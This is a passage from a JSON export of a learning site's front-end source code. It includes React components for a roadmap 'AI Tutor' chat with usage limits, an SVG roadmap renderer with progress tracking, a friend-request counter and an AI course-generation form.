className=\"flex items-center gap-2 rounded-md px-3 py-1.5 text-xs font-medium transition-all hover:bg-yellow-200\"\n    >\n      <div className=\"hidden items-center gap-1.5 sm:flex\">\n        <div className=\"h-1.5 w-6 overflow-hidden rounded-full bg-gray-200\">\n          <div\n            className={cn(\n              'h-full transition-all duration-300',\n              percentageUsed >= 90\n                ? 'bg-red-500'\n                : percentageUsed >= 70\n                  ? 'bg-yellow-500'\n                  : 'bg-green-500',\n            )}\n            style={{ width: `${Math.min(percentageUsed, 100)}%` }}\n          />\n        </div>\n        <span className=\"text-yellow-700\">{percentageUsed}% used</span>\n      </div>\n      <span className=\"font-semibold text-yellow-800 underline underline-offset-2\">\n        Upgrade\n      </span>\n    </button>\n  );\n}\n\ntype RoadmapChatProps = {\n  roadmapId: string;\n};\n\nexport function RoadmapFloatingChat(props: RoadmapChatProps) {\n  const { roadmapId } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [inputValue, setInputValue] = useState('');\n\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const [isPersonalizeOpen, setIsPersonalizeOpen] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n\n  // Fetch questions from API\n  const { data: questionsData } = useQuery(\n    roadmapQuestionsOptions(roadmapId),\n    queryClient,\n  );\n\n  // Randomly select 4 questions to display\n  const defaultQuestions = useMemo(() => {\n    if (!questionsData?.questions || questionsData.questions.length === 0) {\n      return [];\n    }\n    const shuffled = shuffle([...questionsData.questions]);\n    return shuffled.slice(0, 4);\n  }, [questionsData]);\n\n  const { data: roadmapDetail, isLoading: isRoadmapDetailLoading } = useQuery(\n    roadmapJSONOptions(roadmapId),\n    queryClient,\n  );\n\n  const isAuthenticatedUser = isLoggedIn();\n\n  const { data: tokenUsage, isLoading: isTokenUsageLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n  const isLimitExceeded =\n    isAuthenticatedUser && (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const percentageUsed = Math.round(\n    ((tokenUsage?.used || 0) / (tokenUsage?.limit || 0)) * 100,\n  );\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const totalTopicCount = useMemo(() => {\n    const allowedTypes = ['topic', 'subtopic', 'todo'];\n    return (\n      roadmapDetail?.json?.nodes.filter((node) =>\n        allowedTypes.includes(node.type || ''),\n      ).length ?? 0\n    );\n  }, [roadmapDetail]);\n\n  const onSelectTopic = (topicId: string, topicTitle: string) => {\n    // For now just scroll to bottom and close overlay\n    const topicSlug = slugify(topicTitle) + '@' + topicId;\n    window.dispatchEvent(\n      new CustomEvent('roadmap.node.click', {\n        detail: {\n          resourceType: 'roadmap',\n          resourceId: roadmapId,\n          topicId: topicSlug,\n          isCustomResource: false,\n        },\n      }),\n    );\n    // ensure chat visible\n    flushSync(() => {\n      setIsOpen(true);\n    });\n  };\n\n  const [isChatHistoryLoading, setIsChatHistoryLoading] = useState(true);\n  const [activeChatHistoryId, setActiveChatHistoryId] = useState<\n    string | undefined\n  >();\n  const { data: chatHistory } = useQuery(\n    chatHistoryOptions(activeChatHistoryId),\n    queryClient,\n  );\n\n  const { messages, sendMessage, status, stop, setMessages } = useChat({\n    transport: chatRoadmapTransport,\n    onData: (data) => {\n      if (data.type === 'data-redirect') {\n        const { title, chatId } = data.data as {\n          title: string;\n          chatId: string;\n        };\n\n        document.title = title;\n        setActiveChatHistoryId(chatId);\n      }\n    },\n  });\n\n  const { scrollToBottom, scrollableContainerRef, showScrollToBottomButton } =\n    useAIChatScroll({\n      messages,\n    });\n\n  useEffect(() => {\n    if (!chatHistory) {\n      return;\n    }\n\n    setMessages(chatHistory?.messages ?? []);\n    setIsChatHistoryLoading(false);\n    setTimeout(() => {\n      scrollToBottom('instant');\n    }, 0);\n  }, [chatHistory]);\n\n  useEffect(() => {\n    if (activeChatHistoryId) {\n      return;\n    }\n\n    setMessages([]);\n    setIsChatHistoryLoading(false);\n  }, [activeChatHistoryId]);\n\n  useEffect(() => {\n    lockBodyScroll(isOpen);\n  }, [isOpen]);\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  useEffect(() => {\n    // it means user came back to the AI chat from the topic detail\n    const handleCloseTopicDetail = () => {\n      lockBodyScroll(isOpen);\n    };\n\n    window.addEventListener(CLOSE_TOPIC_DETAIL_EVENT, handleCloseTopicDetail);\n    return () => {\n      window.removeEventListener(\n        CLOSE_TOPIC_DETAIL_EVENT,\n        handleCloseTopicDetail,\n      );\n    };\n  }, [isOpen, isPersonalizeOpen]);\n\n  useEffect(() => {\n    const handleChecklistClick = (e: CustomEvent) => {\n      const { roadmapId: eventRoadmapId, labelText, clickedText } = e.detail;\n\n      if (eventRoadmapId !== roadmapId) {\n        return;\n      }\n\n      if (!isLoggedIn()) {\n        setIsOpen(false);\n        showLoginPopup();\n        return;\n      }\n\n      const roadmapTitle = roadmapDetail?.json?.title?.page || roadmapDetail?.json?.title?.card || 'this roadmap';\n      const message = `Explain the '${roadmapTitle}' best practice '${labelText} > ${clickedText}'`;\n\n      flushSync(() => {\n        setIsOpen(true);\n      });\n\n      setTimeout(() => {\n        sendMessage(\n          { text: message, metadata: { json: textToJSON(message) } },\n          {\n            body: {\n              roadmapId,\n              ...(activeChatHistoryId\n                ? { chatHistoryId: activeChatHistoryId }\n                : {}),\n            },\n          },\n        );\n\n        setTimeout(() => {\n          scrollToBottom('smooth');\n          inputRef.current?.focus();\n        }, 0);\n      }, 100);\n    };\n\n    window.addEventListener('roadmap.checklist.click', handleChecklistClick as EventListener);\n    return () => {\n      window.removeEventListener('roadmap.checklist.click', handleChecklistClick as EventListener);\n    };\n  }, [roadmapId, roadmapDetail, sendMessage, activeChatHistoryId, scrollToBottom]);\n\n  function textToJSON(text: string): JSONContent {\n    return {\n      type: 'doc',\n      content: [{ type: 'paragraph', content: [{ type: 'text', text }] }],\n    };\n  }\n\n  const clearChat = () => {\n    setMessages([]);\n    setInputValue('');\n  };\n\n  const submitInput = (message?: string) => {\n    if (!isLoggedIn()) {\n      setIsOpen(false);\n      showLoginPopup();\n      return;\n    }\n\n    const trimmed = (message ?? inputValue).trim();\n    if (!trimmed) {\n      return;\n    }\n\n    sendMessage(\n      { text: trimmed, metadata: { json: textToJSON(trimmed) } },\n      {\n        body: {\n          roadmapId,\n          ...(activeChatHistoryId\n            ? { chatHistoryId: activeChatHistoryId }\n            : {}),\n        },\n      },\n    );\n\n    setTimeout(() => {\n      scrollToBottom('smooth');\n      setInputValue('');\n      inputRef.current?.focus();\n    }, 0);\n  };\n\n  const isStreamingMessage = status !== 'ready';\n  const hasMessages = messages.length > 0;\n  const newTabUrl = `/ai/roadmap-chat/${roadmapId}${activeChatHistoryId ? `?chatId=${activeChatHistoryId}` : ''}`;\n\n  return (\n    <>\n      {isOpen && (\n        <div\n          onClick={() => {\n            setIsOpen(false);\n          }}\n          className=\"fixed inset-0 z-50 bg-black opacity-50\"\n        ></div>\n      )}\n\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {isPersonalizeOpen && (\n        <UpdatePersonaModal\n          roadmapId={roadmapId}\n          onClose={() => {\n            setIsPersonalizeOpen(false);\n          }}\n        />\n      )}\n\n      <div\n        className={cn(\n          'animate-fade-slide-up ai-chat fixed bottom-5 left-1/2 max-h-[95vh] max-w-[968px] -translate-x-1/4 transform flex-col gap-1.5 overflow-hidden px-4 duration-300 sm:max-h-[50vh] lg:flex',\n          isOpen ? 'z-91 h-full w-full' : 'z-40 w-auto',\n        )}\n      >\n        {isOpen && (\n          <>\n            <div className=\"relative flex h-full w-full flex-col overflow-hidden rounded-lg bg-white shadow-lg\">\n              {isChatHistoryLoading && (\n                <div className=\"absolute inset-0 z-50 flex items-center justify-center bg-white\">\n                  <div className=\"flex items-center rounded-md border border-gray-200 py-2 pr-3 pl-2\">\n                    <Loader2Icon className=\"size-4 animate-spin stroke-[2.5] text-gray-400\" />\n                    <span className=\"ml-2 text-sm text-gray-500\">\n                      Loading history..\n                    </span>\n                  </div>\n                </div>\n              )}\n\n              <div className=\"flex items-center justify-between px-3 py-2\">\n                <div className=\"flex\">\n                  <ChatHeaderButton\n                    icon={<BookOpen className=\"h-3.5 w-3.5\" />}\n                    className=\"pointer-events-none text-sm\"\n                  >\n                    {chatHistory?.title || 'AI Tutor'}\n                  </ChatHeaderButton>\n                </div>\n\n                <div className=\"flex gap-1.5\">\n                  {isPaidUser && activeChatHistoryId && (\n                    <ChatHeaderButton\n                      onClick={() => {\n                        setActiveChatHistoryId(undefined);\n                        inputRef.current?.focus();\n                      }}\n                      icon={<Plus className=\"h-3.5 w-3.5\" />}\n                      className=\"justify-center rounded-md bg-gray-200 px-2 py-1 text-xs text-black hover:bg-gray-300\"\n                    />\n                  )}\n\n                  <RoadmapAIChatHistory\n                    roadmapId={roadmapId}\n                    activeChatHistoryId={activeChatHistoryId}\n                    onChatHistoryClick={(chatHistoryId) => {\n                      if (activeChatHistoryId === chatHistoryId) {\n                        return;\n                      }\n\n                      setIsChatHistoryLoading(true);\n                      setActiveChatHistoryId(chatHistoryId);\n                    }}\n                    onDelete={(chatHistoryId) => {\n                      if (activeChatHistoryId === chatHistoryId) {\n                        setActiveChatHistoryId(undefined);\n                      }\n                    }}\n                    onUpgrade={() => {\n                      setShowUpgradeModal(true);\n                    }}\n                  />\n\n                  <ChatHeaderButton\n                    href={newTabUrl}\n                    target=\"_blank\"\n                    icon={<SquareArrowOutUpRight className=\"h-3.5 w-3.5\" />}\n                    className=\"hidden justify-center rounded-md bg-gray-200 px-1 py-1 text-gray-500 hover:bg-gray-300 sm:flex\"\n                  />\n\n                  <ChatHeaderButton\n                    onClick={() => setIsOpen(false)}\n                    icon={<X className=\"h-3.5 w-3.5\" />}\n                    className=\"flex items-center justify-center rounded-md bg-red-100 px-1 py-1 text-red-500 hover:bg-red-200\"\n                  />\n                </div>\n              </div>\n              <div className=\"relative flex grow flex-col\">\n                <div\n                  className=\"relative grow overflow-y-auto\"\n                  ref={scrollableContainerRef}\n                >\n                  <RoadmapChatMessages\n                    messages={messages}\n                    status={status}\n                    roadmapId={roadmapId}\n                    defaultQuestions={defaultQuestions}\n                    onTopicClick={onSelectTopic}\n                    onDefaultQuestionClick={submitInput}\n                  />\n                </div>\n\n                {showScrollToBottomButton && (\n                  <button\n                    onClick={() => {\n                      scrollToBottom('instant');\n                    }}\n                    className=\"absolute inset-x-0 bottom-2 mx-auto mt-2 flex w-fit items-center gap-1.5 rounded-full bg-gray-900 px-3 py-1.5 text-xs text-white shadow-lg transition-all hover:bg-gray-800\"\n                  >\n                    <ChevronDown className=\"h-3 w-3\" />\n                    Scroll to bottom\n                  </button>\n                )}\n              </div>\n\n              {isLimitExceeded && (\n                <UpgradeMessage\n                  onUpgradeClick={() => {\n                    setShowUpgradeModal(true);\n                    setIsOpen(false);\n                  }}\n                />\n              )}\n\n              {!isLimitExceeded && (\n                <>\n                  <div className=\"flex flex-row justify-between border-t border-gray-200 px-3 pt-2\">\n                    <div className=\"flex gap-2\">\n                      <ChatHeaderButton\n                        onClick={() => {\n                          if (!isLoggedIn()) {\n                            setIsOpen(false);\n                            showLoginPopup();\n                            return;\n                          }\n\n                          setIsPersonalizeOpen(true);\n                        }}\n                        icon={<PersonStanding className=\"h-3.5 w-3.5\" />}\n                        className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                      >\n                        Personalize\n                      </ChatHeaderButton>\n                      {!isPaidUser && isAuthenticatedUser && (\n                        <UsageButton\n                          percentageUsed={percentageUsed}\n                          onUpgradeClick={() => {\n                            setShowUpgradeModal(true);\n                            setIsOpen(false);\n                          }}\n                        />\n                      )}\n                    </div>\n                    {hasMessages && !isPaidUser && (\n                      <ChatHeaderButton\n                        onClick={() => {\n                          setInputValue('');\n                          clearChat();\n                        }}\n                        icon={<Trash2 className=\"h-3.5 w-3.5\" />}\n                        className=\"rounded-md bg-gray-200 py-1 pr-2 pl-1.5 text-gray-500 hover:bg-gray-300\"\n                      >\n                        Clear\n                      </ChatHeaderButton>\n                    )}\n                  </div>\n                  <div className=\"relative flex items-center text-sm\">\n                    <input\n                      ref={inputRef}\n                      type=\"text\"\n                      value={inputValue}\n                      onChange={(e) => setInputValue(e.target.value)}\n                      autoFocus\n                      disabled={isLimitExceeded}\n                      onKeyDown={(e) => {\n                        if (e.key === 'Enter') {\n                          e.preventDefault();\n                          if (status !== 'ready') {\n                            return;\n                          }\n\n                          submitInput();\n                        }\n                      }}\n                      placeholder={\n                        isLimitExceeded\n                          ? 'You have reached the usage limit for today..'\n                          : 'Ask me anything about this roadmap...'\n                      }\n                      className={cn(\n                        'w-full resize-none px-3 py-4 outline-none',\n                        isLimitExceeded && 'bg-gray-100 text-gray-400',\n                      )}\n                    />\n\n                    <button\n                      className=\"absolute top-1/2 right-2 -translate-y-1/2 p-1 text-zinc-500 hover:text-black disabled:opacity-50\"\n                      disabled={isRoadmapDetailLoading || isLimitExceeded}\n                      onClick={() => {\n                        if (isStreamingMessage) {\n                          stop();\n                          return;\n                        }\n\n                        submitInput();\n                      }}\n                    >\n                      {isStreamingMessage ? (\n                        <PauseCircleIcon className=\"h-4 w-4\" />\n                      ) : (\n                        <SendIcon className=\"h-4 w-4\" />\n                      )}\n                    </button>\n                  </div>\n                </>\n              )}\n            </div>\n          </>\n        )}\n\n        {!isOpen && (\n          <button\n            className={cn(\n              'relative mx-auto flex w-max flex-shrink-0 cursor-pointer items-center justify-center gap-2 rounded-full bg-stone-900 py-2.5 pr-8 pl-6 text-center text-white shadow-2xl transition-all duration-300 hover:scale-101 hover:bg-stone-800',\n            )}\n            onClick={() => {\n              setIsOpen(true);\n              setTimeout(() => {\n                scrollToBottom('instant');\n              }, 0);\n            }}\n          >\n            {!hasMessages ? (\n              <>\n                <Wand2 className=\"h-4 w-4 text-yellow-400\" />\n                <span className=\"mr-1 text-sm font-semibold text-yellow-400\">\n                  AI Tutor\n                </span>\n                <span className={'hidden text-white sm:block'}>\n                  Have a question? Type here\n                </span>\n                <span className={'block text-white sm:hidden'}>\n                  Ask anything\n                </span>\n              </>\n            ) : (\n              <>\n                <MessageCirclePlus className=\"size-5 text-yellow-400\" />\n                <span className=\"mr-1 text-sm font-medium text-white\">\n                  Continue chatting..\n                </span>\n              </>\n            )}\n          </button>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/FrameRenderer/renderer.ts",
    "content": "import { wireframeJSONToSVG } from 'roadmap-renderer';\nimport { isLoggedIn } from '../../lib/jwt';\nimport type {\n  ResourceProgressType,\n  ResourceType,\n} from '../../lib/resource-progress';\nimport {\n  refreshProgressCounters,\n  renderResourceProgress,\n  renderTopicProgress,\n  updateResourceProgress,\n} from '../../lib/resource-progress';\nimport { pageProgressMessage } from '../../stores/page';\nimport { showLoginPopup } from '../../lib/popup';\nimport { replaceChildren } from '../../lib/dom.ts';\nimport { setUrlParams } from '../../lib/browser.ts';\n\nexport class Renderer {\n  resourceId: string;\n  resourceType: ResourceType | string;\n  jsonUrl: string;\n  loaderHTML: string | null;\n\n  containerId: string;\n  loaderId: string;\n\n  constructor() {\n    this.resourceId = '';\n    this.resourceType = '';\n    this.jsonUrl = '';\n    this.loaderHTML = null;\n\n    this.containerId = 'resource-svg-wrap';\n    this.loaderId = 'resource-loader';\n\n    this.init = this.init.bind(this);\n    this.onDOMLoaded = this.onDOMLoaded.bind(this);\n    this.jsonToSvg = this.jsonToSvg.bind(this);\n    this.handleSvgClick = this.handleSvgClick.bind(this);\n    this.handleSvgRightClick = this.handleSvgRightClick.bind(this);\n    this.prepareConfig = this.prepareConfig.bind(this);\n    this.switchRoadmap = this.switchRoadmap.bind(this);\n    this.updateTopicStatus = this.updateTopicStatus.bind(this);\n  }\n\n  get loaderEl() {\n    return document.getElementById(this.loaderId);\n  }\n\n  get containerEl() {\n    return document.getElementById(this.containerId);\n  }\n\n  prepareConfig() {\n    if (!this.containerEl) {\n      return false;\n    }\n\n    // Clone it so we can use it later\n    this.loaderHTML = this.loaderEl?.innerHTML!;\n    const dataset = this.containerEl.dataset;\n\n    this.resourceType = dataset.resourceType!;\n    this.resourceId = dataset.resourceId!;\n\n    return true;\n  }\n\n  jsonToSvg(jsonUrl: string): Promise<void> | null {\n    if (!jsonUrl) {\n      console.error('jsonUrl not defined in frontmatter');\n      return null;\n    }\n\n    if (!this.containerEl) {\n      return null;\n    }\n\n    this.containerEl.innerHTML = this.loaderHTML!;\n\n    return fetch(jsonUrl)\n      .then((res) => {\n        return res.json();\n      })\n      .then((json) => {\n        return wireframeJSONToSVG(json, {\n          fontURL: '/fonts/balsamiq.woff2',\n        });\n      })\n      .then((svg) => {\n        replaceChildren(this.containerEl!, svg);\n      })\n      .then(() => {\n        return renderResourceProgress(\n          this.resourceType as ResourceType,\n          this.resourceId,\n        );\n      })\n      .catch((error) => {\n        if (!this.containerEl) {\n          return;\n        }\n\n        const message = `\n          <strong>There was an error.</strong><br>\n          \n          Try loading the page again. or submit an issue on GitHub with following:<br><br>\n\n          ${error.message} <br /> ${error.stack}\n        `;\n        this.containerEl.innerHTML = `<div class=\"error py-5 text-center text-red-600 mx-auto\">${message}</div>`;\n      });\n  }\n\n  onDOMLoaded() {\n    if (!this.prepareConfig()) {\n      return;\n    }\n\n    const urlParams = new URLSearchParams(window.location.search);\n    const roadmapType = urlParams.get('r');\n\n    if (roadmapType) {\n      this.switchRoadmap(`/${roadmapType}.json`);\n    } else {\n      this.jsonToSvg(\n        this.resourceType === 'roadmap'\n          ? `/${this.resourceId}.json`\n          : `/best-practices/${this.resourceId}.json`,\n      );\n    }\n  }\n\n  switchRoadmap(newJsonUrl: string) {\n    this.containerEl?.setAttribute('style', '');\n\n    const newJsonFileSlug = newJsonUrl.split('/').pop()?.replace('.json', '');\n\n    const type = this.resourceType[0]; // r for roadmap, b for best-practices\n    setUrlParams({ [type]: newJsonFileSlug! });\n\n    this.jsonToSvg(newJsonUrl)?.then(() => {});\n  }\n\n  updateTopicStatus(topicId: string, newStatus: ResourceProgressType) {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (/^check:/.test(topicId)) {\n      topicId = topicId.replace('check:', '');\n    }\n\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId: this.resourceId,\n        resourceType: this.resourceType as ResourceType,\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n        refreshProgressCounters();\n      })\n      .catch((err) => {\n        alert('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n      });\n\n    return;\n  }\n\n  handleSvgRightClick(e: any) {\n    const targetGroup = e.target?.closest('g') || {};\n    const groupId = targetGroup.dataset ? targetGroup.dataset.groupId : '';\n    if (!groupId) {\n      return;\n    }\n\n    if (targetGroup.classList.contains('removed')) {\n      return;\n    }\n\n    e.preventDefault();\n\n    const isCurrentStatusDone = targetGroup.classList.contains('done');\n    const normalizedGroupId = groupId.replace(/^\\d+-/, '');\n\n    if (normalizedGroupId.startsWith('ext_link:')) {\n      return;\n    }\n\n    this.updateTopicStatus(\n      normalizedGroupId,\n      !isCurrentStatusDone ? 'done' : 'pending',\n    );\n  }\n\n  handleSvgClick(e: any) {\n    const targetGroup = e.target?.closest('g') || {};\n    const groupId = targetGroup.dataset ? targetGroup.dataset.groupId : '';\n    if (!groupId) {\n      return;\n    }\n\n    e.stopImmediatePropagation();\n\n    if (targetGroup.classList.contains('removed')) {\n      return;\n    }\n\n    if (/^ext_link/.test(groupId)) {\n      const externalLink = groupId.replace('ext_link:', '');\n\n      if (!externalLink.startsWith('roadmap.sh')) {\n        window.fireEvent({\n          category: 'RoadmapExternalLink',\n          action: `${this.resourceType} / ${this.resourceId}`,\n          label: externalLink,\n        });\n\n        window.open(`https://${externalLink}`);\n      } else {\n        window.location.href = `https://${externalLink}`;\n      }\n\n      return;\n    }\n\n    if (/^json:/.test(groupId)) {\n      // e.g. /roadmaps/frontend-beginner.json\n      const newJsonUrl = groupId.replace('json:', '');\n\n      this.switchRoadmap(newJsonUrl);\n      return;\n    }\n\n    if (/^check:/.test(groupId)) {\n      window.dispatchEvent(\n        new CustomEvent(`${this.resourceType}.topic.toggle`, {\n          detail: {\n            topicId: groupId.replace('check:', ''),\n            resourceType: this.resourceType,\n            resourceId: this.resourceId,\n          },\n        }),\n      );\n      return;\n    }\n\n    // Remove sorting prefix from groupId\n    const normalizedGroupId = groupId.replace(/^\\d+-/, '');\n\n    const isCurrentStatusLearning = targetGroup.classList.contains('learning');\n    const isCurrentStatusSkipped = targetGroup.classList.contains('skipped');\n\n    if (e.shiftKey) {\n      e.preventDefault();\n      this.updateTopicStatus(\n        normalizedGroupId,\n        !isCurrentStatusLearning ? 'learning' : 'pending',\n      );\n      return;\n    }\n\n    if (e.altKey) {\n      e.preventDefault();\n      this.updateTopicStatus(\n        normalizedGroupId,\n        !isCurrentStatusSkipped ? 'skipped' : 'pending',\n      );\n\n      return;\n    }\n\n    window.dispatchEvent(\n      new CustomEvent(`${this.resourceType}.topic.click`, {\n        detail: {\n          topicId: normalizedGroupId,\n          resourceId: this.resourceId,\n          resourceType: this.resourceType,\n        },\n      }),\n    );\n  }\n\n  init() {\n    window.addEventListener('DOMContentLoaded', this.onDOMLoaded);\n    window.addEventListener('click', this.handleSvgClick);\n    window.addEventListener('contextmenu', this.handleSvgRightClick);\n  }\n}\n\nconst renderer = new Renderer();\nrenderer.init();\n"
  },
  {
    "path": "src/components/Friends/SidebarFriendsCounter.tsx",
    "content": "import { httpGet } from '../../lib/http';\nimport { useEffect, useState } from 'react';\n\ntype GetFriendCountsResponse = {\n  sentCount: number;\n  acceptedCount: number;\n  receivedCount: number;\n  rejectedCount: number;\n  gotRejectedCount: number;\n};\n\nexport function SidebarFriendsCounter() {\n  const [friendCounts, setFriendCounts] = useState<GetFriendCountsResponse>();\n  async function getFriendCounts() {\n    const { response, error } = await httpGet<GetFriendCountsResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-friend-counts`\n    );\n\n    if (error || !response) {\n      return;\n    }\n\n    setFriendCounts(response);\n  }\n\n  useEffect(() => {\n    getFriendCounts().finally(() => null);\n  }, []);\n\n  const pendingCount = friendCounts?.receivedCount || 0;\n  if (!pendingCount) {\n    return null;\n  }\n\n  return (\n    <span className=\"flex h-4 w-4 items-center justify-center rounded-full bg-red-500 text-xs font-medium text-white\">\n      {pendingCount}\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourse.tsx",
    "content": "import { WandIcon } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { FineTuneCourse } from './FineTuneCourse';\nimport { DifficultyDropdown } from '../AITutor/DifficultyDropdown';\nimport { NatureDropdown, type NatureType } from '../AITutor/NatureDropdown';\nimport {\n  clearFineTuneData,\n  getCourseFineTuneData,\n  getLastSessionId,\n  storeFineTuneData,\n} from '../../lib/ai';\nimport { cn } from '../../lib/classname';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\nexport const difficultyLevels = [\n  'beginner',\n  'intermediate',\n  'advanced',\n] as const;\nexport type DifficultyLevel = (typeof difficultyLevels)[number];\n\ntype AICourseProps = {};\n\nexport function AICourse(props: AICourseProps) {\n  const [keyword, setKeyword] = useState('');\n  const [difficulty, setDifficulty] = useState<DifficultyLevel>('beginner');\n  const [nature, setNature] = useState<NatureType>('course');\n\n  const [hasFineTuneData, setHasFineTuneData] = useState(false);\n  const [about, setAbout] = useState('');\n  const [goal, setGoal] = useState('');\n  const [customInstructions, setCustomInstructions] = useState('');\n  const [isUpgradeModalOpen, setIsUpgradeModalOpen] = useState(false);\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n\n  useEffect(() => {\n    const lastSessionId = getLastSessionId();\n    if (!lastSessionId) {\n      return;\n    }\n\n    const fineTuneData = getCourseFineTuneData(lastSessionId);\n    if (!fineTuneData) {\n      return;\n    }\n\n    setAbout(fineTuneData.about);\n    setGoal(fineTuneData.goal);\n    setCustomInstructions(fineTuneData.customInstructions);\n  }, []);\n\n  useEffect(() => {\n    window?.fireEvent({\n      action: 'tutor_user',\n      category: 'ai_tutor',\n      label: 'Visited AI Course Page',\n    });\n  }, []);\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    if (e.key === 'Enter' && keyword.trim()) {\n      onSubmit();\n    }\n  };\n\n  function onSubmit() {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    let sessionId = '';\n    if (hasFineTuneData) {\n      clearFineTuneData();\n      sessionId = storeFineTuneData({\n        about,\n        goal,\n        customInstructions,\n      });\n    }\n\n    if (nature === 'course') {\n      window.location.href = `/ai/course?term=${encodeURIComponent(keyword)}&difficulty=${difficulty}&id=${sessionId}&nature=${nature}`;\n    } else {\n      window.location.href = `/ai/document?term=${encodeURIComponent(keyword)}&difficulty=${difficulty}&id=${sessionId}&nature=${nature}`;\n    }\n  }\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-3xl flex-grow flex-col pt-4 md:justify-center md:pt-10 lg:pt-0\">\n      <div className=\"relative\">\n        {isUpgradeModalOpen && (\n          <UpgradeAccountModal onClose={() => setIsUpgradeModalOpen(false)} />\n        )}\n        {!isPaidUser && !isPaidUserLoading && isLoggedIn() && (\n          <div className=\"absolute bottom-full left-1/2 -translate-x-1/2 -translate-y-8 text-gray-500 max-md:hidden\">\n            You are on the free plan\n            <button\n              onClick={() => setIsUpgradeModalOpen(true)}\n              className=\"ml-2 rounded-lg bg-yellow-600 px-2 py-1 text-sm text-white hover:opacity-80\"\n            >\n              Upgrade to Pro\n            </button>\n          </div>\n        )}\n        <h1 className=\"mb-0.5 text-center text-4xl font-semibold max-md:text-left max-md:text-xl lg:mb-3\">\n          What can I help you learn?\n        </h1>\n        <p className=\"mb-3 text-center text-lg text-balance text-gray-600 max-md:text-left max-md:text-sm md:mb-6\">\n          Enter a topic below to generate a personalized course for it\n        </p>\n      </div>\n      <div className=\"rounded-lg border border-gray-300 bg-white\">\n        <form\n          className=\"flex flex-col\"\n          onSubmit={(e) => {\n            e.preventDefault();\n            onSubmit();\n          }}\n        >\n          <input\n            id=\"keyword\"\n            type=\"text\"\n            value={keyword}\n            autoFocus={true}\n            onChange={(e) => setKeyword(e.target.value)}\n            onKeyDown={handleKeyDown}\n            placeholder=\"e.g. JavaScript Promises, React Hooks, Go Routines etc\"\n            className=\"w-full rounded-md border-none bg-transparent px-4 pt-4 pb-8 text-gray-900 focus:outline-hidden max-sm:placeholder:text-base\"\n            maxLength={50}\n            data-clarity-unmask=\"true\"\n          />\n\n          <div className=\"flex flex-col items-start justify-between gap-2 px-4 pb-4 md:flex-row md:items-center\">\n            <div className=\"flex flex-row items-center gap-2\">\n              <div className=\"flex flex-row gap-2\">\n                <NatureDropdown value={nature} onChange={setNature} />\n                <DifficultyDropdown\n                  value={difficulty}\n                  onChange={setDifficulty}\n                />\n              </div>\n              <label\n                htmlFor=\"fine-tune-checkbox\"\n                className=\"flex cursor-pointer flex-row items-center gap-1 rounded-full bg-gray-100 px-4 py-1 text-sm text-gray-700 hover:bg-gray-200 hover:text-gray-700\"\n              >\n                <input\n                  type=\"checkbox\"\n                  checked={hasFineTuneData}\n                  onChange={() => setHasFineTuneData(!hasFineTuneData)}\n                  className=\"mr-1\"\n                  id=\"fine-tune-checkbox\"\n                />\n                Explain more\n              </label>\n            </div>\n\n            <button\n              type=\"submit\"\n              disabled={!keyword.trim()}\n              className={cn(\n                'hidden items-center justify-center rounded-full px-4 py-1 text-sm text-white transition-colors md:flex',\n                !keyword.trim()\n                  ? 'cursor-not-allowed bg-gray-400'\n                  : 'bg-black hover:bg-gray-800',\n              )}\n            >\n              <WandIcon size={18} className=\"mr-2\" />\n              Generate Course\n            </button>\n          </div>\n\n          <FineTuneCourse\n            hasFineTuneData={hasFineTuneData}\n            about={about}\n            goal={goal}\n            customInstructions={customInstructions}\n            setAbout={setAbout}\n            setGoal={setGoal}\n            setCustomInstructions={setCustomInstructions}\n          />\n\n          <button\n            type=\"submit\"\n            disabled={!keyword.trim()}\n            className={cn(\n              'mx-4 mb-3 flex items-center justify-center rounded-full px-4 py-1 text-sm text-white transition-colors md:hidden',\n              !keyword.trim()\n                ? 'cursor-not-allowed bg-gray-400'\n                : 'bg-black hover:bg-gray-800',\n            )}\n          >\n            <WandIcon size={18} className=\"mr-2\" />\n            Generate Course\n          </button>\n        </form>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateCourse/AICourseActions.tsx",
